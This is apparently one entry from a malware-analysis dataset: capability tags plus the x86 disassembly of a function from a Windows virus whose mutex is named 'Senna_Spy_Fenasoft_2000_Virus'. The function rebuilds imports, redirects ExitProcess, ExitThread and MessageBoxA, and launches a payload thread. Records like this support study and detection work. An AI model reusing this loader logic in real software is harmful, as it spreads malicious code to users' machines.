Function at 0x419000
Capabilities:
Accept command line arguments
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push esi
lea eax, [ebp - 0x12c]
xor esi, esi
push 0x104
push eax
push esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x20], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [eax + 0x3c]
mov dword [0x421838], eax
add ecx, eax
mov dword [0x421720], ecx
cmp dword [ecx], 0x4550
je 0x419052
push 1
pop eax
jmp 0x419379
mov edx, dword [0x421544]
push ebx
push edi
mov edi, dword [0x41f030]
inc dword [0x41f030]
lea edx, [edx + edx*4]
cmp edi, 1
lea edx, [ecx + edx*8 + 0xf8]
mov dword [0x42183c], edx
jne 0x41914b
movzx edi, word [ecx + 6]
and dword [ebp - 0xc], 0
mov esi, 0x419ca7
sub esi, eax
mov dword [0x421548], edi
test edi, edi
jle 0x4192c4
add edx, 0xc
mov dword [ebp - 0x14], edx
mov dword [ebp - 8], edx
mov edx, dword [ebp - 8]
mov edx, dword [edx]
cmp edx, dword [ecx + 0x28]
ja 0x4190d4
mov ebx, dword [ebp - 8]
mov ebx, dword [ebx + 4]
add ebx, edx
mov edx, dword [ecx + 0x28]
cmp ebx, edx
jbe 0x4190d4
mov ebx, dword [ebp - 0xc]
mov dword [0x42154c], ebx
mov ebx, dword [ebp - 8]
sub edx, dword [ebx]
mov dword [0x42156c], edx
jmp 0x419136
mov edx, dword [ebp - 8]
mov ebx, dword [ecx + 0x80]
mov dword [ebp - 0x10], ebx
mov edx, dword [edx]
cmp edx, ebx
ja 0x41910b
mov ebx, dword [ebp - 8]
mov ebx, dword [ebx + 4]
add ebx, edx
mov edx, dword [ebp - 0x10]
cmp ebx, edx
jbe 0x41910b
mov ebx, dword [ebp - 0xc]
mov dword [0x421550], ebx
mov ebx, dword [ebp - 0x14]
sub edx, dword [ebx]
mov dword [0x421558], edx
jmp 0x419136
mov ebx, dword [ebp - 8]
mov edx, dword [ebx]
cmp edx, dword [ecx + 0xa0]
jne 0x419136
mov edx, dword [ebp - 0xc]
mov dword [0x421554], edx
mov edx, dword [ebx - 4]
mov dword [0x421564], edx
mov edx, dword [ecx + 0xa4]
mov dword [0x421560], edx
inc dword [ebp - 0xc]
add dword [ebp - 8], 0x28
cmp dword [ebp - 0xc], edi
jl 0x4190a5
jmp 0x4192c4
mov ecx, dword [0x42155c]
add eax, ecx
cmp dword [eax], 0
je 0x419164
add eax, 0x14
inc esi
cmp dword [eax], 0
jne 0x419158
mov dword [ebp - 0x20], esi
mov eax, esi
shl eax, 2
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x42155c]
mov ecx, eax
mov eax, dword [0x421838]
mov dword [ebp - 0x18], ecx
test esi, esi
lea ebx, [edx + eax]
mov dword [ebp - 0x14], ebx
jle 0x4192be
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], esi
mov ecx, dword [ebx + 0xc]
add ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0xc]
test eax, eax
mov dword [ecx], eax
jne 0x4191bc
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edi, dword [ebx]
mov eax, dword [0x421838]
mov esi, dword [ebx + 0x10]
add edi, eax
add esi, eax
mov ecx, dword [edi]
test ecx, ecx
je 0x4192ab
test ecx, 0x80000000
je 0x4191fb
mov eax, dword [ebp - 0xc]
and ecx, 0xffff
push ecx
push dword [eax]
call fcn.0041937e
pop ecx
mov dword [esi], eax
mov eax, dword [0x421838]
pop ecx
jmp 0x4192a0
lea ecx, [ecx + eax + 2]
mov dword [ebp - 8], str.ExitProcess
mov dword [ebp - 0x1c], ecx
mov edx, ecx
mov cl, byte [edx]
mov ebx, dword [ebp - 8]
mov byte [ebp - 1], cl
cmp cl, byte [ebx]
jne 0x419234
test cl, cl
je 0x419230
mov cl, byte [edx + 1]
mov byte [ebp - 1], cl
cmp cl, byte [ebx + 1]
jne 0x419234
add dword [ebp - 8], 2
inc edx
inc edx
test cl, cl
jne 0x41920b
xor ecx, ecx
jmp 0x419239
sbb ecx, ecx
sbb ecx, 0xffffffff
test ecx, ecx
jne 0x419244
mov dword [ebp - 0x1c], str.ExitThread
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 8], str.MessageBoxA
mov dl, byte [ecx]
mov ebx, dword [ebp - 8]
mov byte [ebp - 1], dl
cmp dl, byte [ebx]
jne 0x419277
test dl, dl
je 0x419273
mov dl, byte [ecx + 1]
mov byte [ebp - 1], dl
cmp dl, byte [ebx + 1]
jne 0x419277
add dword [ebp - 8], 2
inc ecx
inc ecx
test dl, dl
jne 0x41924e
xor ecx, ecx
jmp 0x41927c
sbb ecx, ecx
sbb ecx, 0xffffffff
test ecx, ecx
jne 0x419288
mov dword [esi], 0x419c79
jmp 0x41929d
push dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi], eax
mov eax, dword [0x421838]
mov ebx, dword [ebp - 0x14]
add edi, 4
add esi, 4
jmp 0x4191ca
add dword [ebp - 0xc], 4
add ebx, 0x14
dec dword [ebp - 0x10]
mov dword [ebp - 0x14], ebx
jne 0x419196
mov esi, dword [0x421570]
add esi, eax
lea eax, [ebp - 0x28]
xor edi, edi
push eax
push edi
mov dword [0x421570], esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
push dword [0x421570]
push edi
push edi
call esi
cmp eax, edi
mov dword [ebp - 0x10], eax
je 0x41934e
push str.Senna_Spy_Fenasoft_2000_Virus
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ebx, eax
cmp ebx, edi
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
je 0x419347
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x419347
lea eax, [ebp - 0x24]
push eax
xor eax, eax
push 4
push eax
push 0x4193a0
push eax
push eax
call esi
mov esi, eax
push 0xfffffffffffffff1
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0xffffffffffffffff
push esi
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0xffffffffffffffff
push dword [ebp - 0x10]
call edi
mov edi, dword [ebp - 0x20]
test edi, edi
jle 0x419366
mov esi, dword [ebp - 0x18]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
add esi, 4
dec edi
jne 0x419358
cmp dword [ebp - 0x18], 0
pop edi
pop ebx
je 0x419377
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
pop esi
leave
ret 0x10